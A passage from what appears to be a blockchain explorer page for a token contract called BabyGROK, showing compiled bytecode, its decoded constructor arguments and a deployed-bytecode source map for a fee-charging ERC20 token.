29d4565b60405180910390fd5b6000821161176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612a94565b60405180910390fd5b601060149054906101000a900460ff16156117925761178b848484611bda565b9050611b11565b600061179d30610882565b9050601060149054906101000a900460ff161580156118065750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561181e5750601060159054906101000a900460ff165b1561188957601060169054906101000a900460ff161561183e57600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061188881611dad565b5b611912836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119f85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a0c57611a07868686611e2b565b611a0e565b835b9050611a6281600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b029190612af4565b60405180910390a36001925050505b9392505050565b6000838311158290611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5791906129b2565b60405180910390fd5b5060008385611b6f9190612cea565b9050809150509392505050565b6000808284611b8b9190612c09565b905083811015611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc790612a34565b60405180910390fd5b8091505092915050565b6000611c65826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cfa82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d9a9190612af4565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611dd181612052565b60004790506000811115611e0c57611e0b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261234e565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eb357611eac6064611e9e6009548661239990919063ffffffff16565b61241490919063ffffffff16565b9050611f31565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f3057611f2d6064611f1f600a548661239990919063ffffffff16565b61241490919063ffffffff16565b90505b5b600081111561203557611f8c81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161202c9190612af4565b60405180910390a35b612048818461245e90919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561206f5761206e612ea6565b5b60405190808252806020026020018201604052801561209d5781602001602082028036833780820191505090505b50905030816000815181106120b5576120b4612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061212657612125612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121c857600080fd5b505afa1580156121dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612200919061258c565b8160028151811061221457612213612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227b30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122df959493929190612b3f565b600060405180830381600087803b1580156122f957600080fd5b505af115801561230d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612342929190612b0f565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612394573d6000803e3d6000fd5b505050565b6000808314156123ac576000905061240e565b600082846123ba9190612c90565b90508284826123c99190612c5f565b14612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240090612a54565b60405180910390fd5b809150505b92915050565b600061245683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124a8565b905092915050565b60006124a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b18565b905092915050565b600080831182906124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e691906129b2565b60405180910390fd5b50600083856124fe9190612c5f565b9050809150509392505050565b60008135905061251a81613166565b92915050565b60008151905061252f81613166565b92915050565b6000815190506125448161317d565b92915050565b60008135905061255981613194565b92915050565b60006020828403121561257557612574612ed5565b5b60006125838482850161250b565b91505092915050565b6000602082840312156125a2576125a1612ed5565b5b60006125b084828501612520565b91505092915050565b600080604083850312156125d0576125cf612ed5565b5b60006125de8582860161250b565b92505060206125ef8582860161250b565b9150509250929050565b60008060006060848603121561261257612611612ed5565b5b60006126208682870161250b565b93505060206126318682870161250b565b92505060406126428682870161254a565b9150509250925092565b6000806040838503121561266357612662612ed5565b5b60006126718582860161250b565b92505060206126828582860161254a565b9150509250929050565b6000602082840312156126a2576126a1612ed5565b5b60006126b084828501612535565b91505092915050565b6000602082840312156126cf576126ce612ed5565b5b60006126dd8482850161254a565b91505092915050565b60006126f283836126fe565b60208301905092915050565b61270781612d1e565b82525050565b61271681612d1e565b82525050565b600061272782612bc4565b6127318185612be7565b935061273c83612bb4565b8060005b8381101561276d57815161275488826126e6565b975061275f83612bda565b925050600181019050612740565b5085935050505092915050565b61278381612d30565b82525050565b61279281612d73565b82525050565b60006127a382612bcf565b6127ad8185612bf8565b93506127bd818560208601612d85565b6127c681612eda565b840191505092915050565b60006127de602383612bf8565b91506127e982612eeb565b604082019050919050565b6000612801602683612bf8565b915061280c82612f3a565b604082019050919050565b6000612824602283612bf8565b915061282f82612f89565b604082019050919050565b6000612847601b83612bf8565b915061285282612fd8565b602082019050919050565b600061286a602183612bf8565b915061287582613001565b604082019050919050565b600061288d602083612bf8565b915061289882613050565b602082019050919050565b60006128b0602983612bf8565b91506128bb82613079565b604082019050919050565b60006128d3602583612bf8565b91506128de826130c8565b604082019050919050565b60006128f6602483612bf8565b915061290182613117565b604082019050919050565b61291581612d5c565b82525050565b61292481612d66565b82525050565b600060208201905061293f600083018461270d565b92915050565b600060408201905061295a600083018561270d565b612967602083018461270d565b9392505050565b6000604082019050612983600083018561270d565b612990602083018461290c565b9392505050565b60006020820190506129ac600083018461277a565b92915050565b600060208201905081810360008301526129cc8184612798565b905092915050565b600060208201905081810360008301526129ed816127d1565b9050919050565b60006020820190508181036000830152612a0d816127f4565b9050919050565b60006020820190508181036000830152612a2d81612817565b9050919050565b60006020820190508181036000830152612a4d8161283a565b9050919050565b60006020820190508181036000830152612a6d8161285d565b9050919050565b60006020820190508181036000830152612a8d81612880565b9050919050565b60006020820190508181036000830152612aad816128a3565b9050919050565b60006020820190508181036000830152612acd816128c6565b9050919050565b60006020820190508181036000830152612aed816128e9565b9050919050565b6000602082019050612b09600083018461290c565b92915050565b6000604082019050612b24600083018561290c565b8181036020830152612b36818461271c565b90509392505050565b600060a082019050612b54600083018861290c565b612b616020830187612789565b8181036040830152612b73818661271c565b9050612b82606083018561270d565b612b8f608083018461290c565b9695505050505050565b6000602082019050612bae600083018461291b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612c1482612d5c565b9150612c1f83612d5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c5457612c53612dea565b5b828201905092915050565b6000612c6a82612d5c565b9150612c7583612d5c565b925082612c8557612c84612e19565b5b828204905092915050565b6000612c9b82612d5c565b9150612ca683612d5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cdf57612cde612dea565b5b828202905092915050565b6000612cf582612d5c565b9150612d0083612d5c565b925082821015612d1357612d12612dea565b5b828203905092915050565b6000612d2982612d3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d7e82612d5c565b9050919050565b60005b83811015612da3578082015181840152602081019050612d88565b83811115612db2576000848401525b50505050565b60006002820490506001821680612dd057607f821691505b60208210811415612de457612de3612e48565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61316f81612d1e565b811461317a57600080fd5b50565b61318681612d30565b811461319157600080fd5b50565b61319d81612d5c565b81146131a857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ede80da56f42d30b3a2f97cc9c3c22de9749b84b0f94c768b5979c30f50d1ca064736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000041cdb4000000000000000000000000000000000000000000000000000000000000000084261627947524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084261627947524f4b000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): BabyGROK
Arg [1] : coinSymbol (string): BabyGROK
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 69000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 00000000000000000000000000000000000000000000000000000000041cdb40
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 4261627947524f4b000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [7] : 4261627947524f4b000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8038:9484:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10759:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12022:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11013:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13890:323;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8299:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10930:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11395:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12536:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8556:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6197:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11121:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5578:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5792:145;;;;;;;;;;;;;:::i;:::-;;10842:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11893:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11616:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13715:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5454:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12772:703;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11244:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5945:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10759:75;10796:13;10821:5;10814:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10759:75;:::o;12022:161::-;12097:4;12114:39;12123:12;:10;:12::i;:::-;12137:7;12146:6;12114:8;:39::i;:::-;12171:4;12164:11;;12022:161;;;;:::o;11013:100::-;11066:7;11093:12;;11086:19;;11013:100;:::o;13890:323::-;13988:4;14005:36;14015:6;14023:9;14034:6;14005:9;:36::i;:::-;;14052:131;14061:6;14069:12;:10;:12::i;:::-;14083:99;14121:6;14083:99;;;;;;;;;;;;;;;;;:11;:19;14095:6;14083:19;;;;;;;;;;;;;;;:33;14103:12;:10;:12::i;:::-;14083:33;;;;;;;;;;;;;;;;:37;;:99;;;;;:::i;:::-;14052:8;:131::i;:::-;14201:4;14194:11;;13890:323;;;;;:::o;8299:71::-;;;;;;;;;;;;;:::o;10930:75::-;10971:5;10988:9;;;;;;;;;;;10981:16;;10930:75;:::o;11395:213::-;11483:4;11500:83;11509:12;:10;:12::i;:::-;11523:7;11532:50;11571:10;11532:11;:25;11544:12;:10;:12::i;:::-;11532:25;;;;;;;;;;;;;;;:34;11558:7;11532:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11500:8;:83::i;:::-;11601:4;11594:11;;11395:213;;;;:::o;12536:125::-;5715:12;:10;:12::i;:::-;5705:22;;:6;;;;;;;;;;:22;;;5697:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12645:8:::1;12618:24;:35;;;;12536:125:::0;:::o;8556:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;6197:90::-;6237:7;6264:15;6257:22;;6197:90;:::o;11121:115::-;11187:7;11214:9;:18;11224:7;11214:18;;;;;;;;;;;;;;;;11207:25;;11121:115;;;:::o;5578:79::-;5616:7;5643:6;;;;;;;;;;;5636:13;;5578:79;:::o;5792:145::-;5715:12;:10;:12::i;:::-;5705:22;;:6;;;;;;;;;;:22;;;5697:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5896:1:::1;5859:40;;5880:6;::::0;::::1;;;;;;;;5859:40;;;;;;;;;;;;5927:1;5910:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5792:145::o:0;10842:80::-;10881:13;10907:7;10900:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10842:80;:::o;11893:121::-;11955:7;11982:24;;11975:31;;11893:121;:::o;11616:269::-;11709:4;11726:129;11735:12;:10;:12::i;:::-;11749:7;11758:96;11797:15;11758:96;;;;;;;;;;;;;;;;;:11;:25;11770:12;:10;:12::i;:::-;11758:25;;;;;;;;;;;;;;;:34;11784:7;11758:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11726:8;:129::i;:::-;11873:4;11866:11;;11616:269;;;;:::o;13715:167::-;13793:4;13810:42;13820:12;:10;:12::i;:::-;13834:9;13845:6;13810:9;:42::i;:::-;;13870:4;13863:11;;13715:167;;;;:::o;5454:21::-;;;;;;;;;;;;:::o;12772:703::-;5715:12;:10;:12::i;:::-;5705:22;;:6;;;;;;;;;;:22;;;5697:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12855:4:::1;12841:11;;:18;;;;;;;;;;;;;;;;;;12876:4;12862:11;;:18;;;;;;;;;;;;;;;;;;12904:12;12891:10;:25;;;;12951:4;12927:21;;:28;;;;;;;;;;;;;;;;;;13003:7;;;;;;;;;;;12966:15;;:45;;;;;;;;;;;;;;;;;;13023:21;13065:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13047:52;;;13108:4;13115:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13047:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13023:115;;13177:1;13152:27;;:13;:27;;;13149:254;;13202:13;13195:29;;;13233:15;;;;;;;;;;;13251:14;13195:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13149:254;;;13315:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13297:55;;;13361:4;13368:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13297:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13149:254;13450:6;13413:15;;:44;;;;;;;;;;;;;;;;;;12830:645;12772:703:::0;:::o;11244:143::-;11325:7;11352:11;:18;11364:5;11352:18;;;;;;;;;;;;;;;:27;11371:7;11352:27;;;;;;;;;;;;;;;;11345:34;;11244:143;;;;:::o;5945:244::-;5715:12;:10;:12::i;:::-;5705:22;;:6;;;;;;;;;;:22;;;5697:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6054:1:::1;6034:22;;:8;:22;;;;6026:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6144:8;6115:38;;6136:6;::::0;::::1;;;;;;;;6115:38;;;;;;;;;;;;6173:8;6164:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5945:244:::0;:::o;102:115::-;155:15;198:10;183:26;;102:115;:::o;12191:337::-;12301:1;12284:19;;:5;:19;;;;12276:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12382:1;12363:21;;:7;:21;;;;12355:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12466:6;12436:11;:18;12448:5;12436:18;;;;;;;;;;;;;;;:27;12455:7;12436:27;;;;;;;;;;;;;;;:36;;;;12504:7;12488:32;;12497:5;12488:32;;;12513:6;12488:32;;;;;;:::i;:::-;;;;;;;;12191:337;;;:::o;14221:1336::-;14308:4;14353:1;14335:20;;:6;:20;;;;14327:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14437:1;14416:23;;:9;:23;;;;14408:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14507:1;14498:6;:10;14490:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14578:16;;;;;;;;;;;14575:975;;;14627:41;14642:6;14650:9;14661:6;14627:14;:41::i;:::-;14620:48;;;;14575:975;14721:28;14752:24;14770:4;14752:9;:24::i;:::-;14721:55;;14798:16;;;;;;;;;;;14797:17;:42;;;;;14819:12;:20;14832:6;14819:20;;;;;;;;;;;;;;;;;;;;;;;;;14818:21;14797:42;:67;;;;;14843:21;;;;;;;;;;;14797:67;14793:311;;;14901:25;;;;;;;;;;;14898:98;;;14972:24;;14949:47;;14898:98;15027:6;15015:9;;:18;;;;;;;;;;;;;;;;;;15052:36;15067:20;15052:14;:36::i;:::-;14793:311;15140:53;15162:6;15140:53;;;;;;;;;;;;;;;;;:9;:17;15150:6;15140:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15120:9;:17;15130:6;15120:17;;;;;;;;;;;;;;;:73;;;;15210:19;15233:13;:21;15247:6;15233:21;;;;;;;;;;;;;;;;;;;;;;;;;:49;;;;15258:13;:24;15272:9;15258:24;;;;;;;;;;;;;;;;;;;;;;;;;15233:49;15232:139;;15337:34;15345:6;15353:9;15364:6;15337:7;:34::i;:::-;15232:139;;;15328:6;15232:139;15210:161;;15413:37;15438:11;15413:9;:20;15423:9;15413:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;15390:9;:20;15400:9;15390:20;;;;;;;;;;;;;;;:60;;;;15489:9;15472:40;;15481:6;15472:40;;;15500:11;15472:40;;;;;;:::i;:::-;;;;;;;;15534:4;15527:11;;;;14221:1336;;;;;;:::o;1524:192::-;1610:7;1643:1;1638;:6;;1646:12;1630:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1670:9;1686:1;1682;:5;;;;:::i;:::-;1670:17;;1707:1;1700:8;;;1524:192;;;;;:::o;1191:181::-;1249:7;1269:9;1285:1;1281;:5;;;;:::i;:::-;1269:17;;1310:1;1305;:6;;1297:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1363:1;1356:8;;;1191:181;;;;:::o;15565:330::-;15658:4;15695:53;15717:6;15695:53;;;;;;;;;;;;;;;;;:9;:17;15705:6;15695:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15675:9;:17;15685:6;15675:17;;;;;;;;;;;;;;;:73;;;;15782:32;15807:6;15782:9;:20;15792:9;15782:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;15759:9;:20;15769:9;15759:20;;;;;;;;;;;;;;;:55;;;;15847:9;15830:35;;15839:6;15830:35;;;15858:6;15830:35;;;;;;:::i;:::-;;;;;;;;15883:4;15876:11;;15565:330;;;;;:::o;15905:305::-;9536:4;9517:16;;:23;;;;;;;;;;;;;;;;;;16009:25:::1;16026:7;16009:16;:25::i;:::-;16045:22;16070:21;16045:46;;16124:1;16107:14;:18;16104:96;;;16140:60;16161:22;;;;;;;;;;;16185:14;16140:20;:60::i;:::-;16104:96;15966:244;9582:5:::0;9563:16;;:24;;;;;;;;;;;;;;;;;;15905:305;:::o;16907:605::-;16993:7;17015:17;17035:1;17015:21;;17050:12;:20;17063:6;17050:20;;;;;;;;;;;;;;;;;;;;;;;;;17047:237;;;17099:38;17133:3;17099:29;17110:17;;17099:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;17087:50;;17047:237;;;17181:12;:23;17194:9;17181:23;;;;;;;;;;;;;;;;;;;;;;;;;17178:106;;;17233:39;17268:3;17233:30;17244:18;;17233:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;17221:51;;17178:106;17047:237;17309:1;17297:9;:13;17294:170;;;17351:39;17380:9;17351;:24;17369:4;17351:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;17327:9;:21;17345:1;17327:21;;;;;;;;;;;;;;;:63;;;;17435:4;17410:42;;17419:6;17410:42;;;17442:9;17410:42;;;;;;:::i;:::-;;;;;;;;17294:170;17483:21;17494:9;17483:6;:10;;:21;;;;:::i;:::-;17476:28;;;16907:605;;;;;:::o;16218:677::-;16344:21;16382:1;16368:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16344:40;;16413:4;16395;16400:1;16395:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16430:9;;;;;;;;;;;16420:4;16425:1;16420:7;;;;;;;;:::i;:::-;;;;;;;:19;;;;;;;;;;;16460:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16450:4;16455:1;16450:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16495:62;16512:4;16527:15;;;;;;;;;;;16545:11;16495:8;:62::i;:::-;16604:15;;;;;;;;;;;:66;;;16681:11;16703:1;16743:4;16766;16798:15;16604:220;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16852:35;16869:11;16882:4;16852:35;;;;;;;:::i;:::-;;;;;;;;16273:622;16218:677;:::o;13483:126::-;13575:9;:18;;:26;13594:6;13575:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13483:126;;:::o;1724:250::-;1782:7;1811:1;1806;:6;1802:47;;;1836:1;1829:8;;;;1802:47;1861:9;1877:1;1873;:5;;;;:::i;:::-;1861:17;;1906:1;1901;1897;:5;;;;:::i;:::-;:10;1889:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1965:1;1958:8;;;1724:250;;;;;:::o;1982:132::-;2040:7;2067:39;2071:1;2074;2067:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2060:46;;1982:132;;;;:::o;1380:136::-;1438:7;1465:43;1469:1;1472;1465:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1458:50;;1380:136;;;;:::o;2122:278::-;2208:7;2240:1;2236;:5;2243:12;2228:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2267:9;2283:1;2279;:5;;;;:::i;:::-;2267:17;;2391:1;2384:8;;;2122:278;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;301:137::-;355:5;386:6;380:13;371:22;;402:30;426:5;402:30;:::i;:::-;301:137;;;;:::o;444:139::-;490:5;528:6;515:20;506:29;;544:33;571:5;544:33;:::i;:::-;444:139;;;;:::o;589:329::-;648:6;697:2;685:9;676:7;672:23;668:32;665:119;;;703:79;;:::i;:::-;665:119;823:1;848:53;893:7;884:6;873:9;869:22;848:53;:::i;:::-;838:63;;7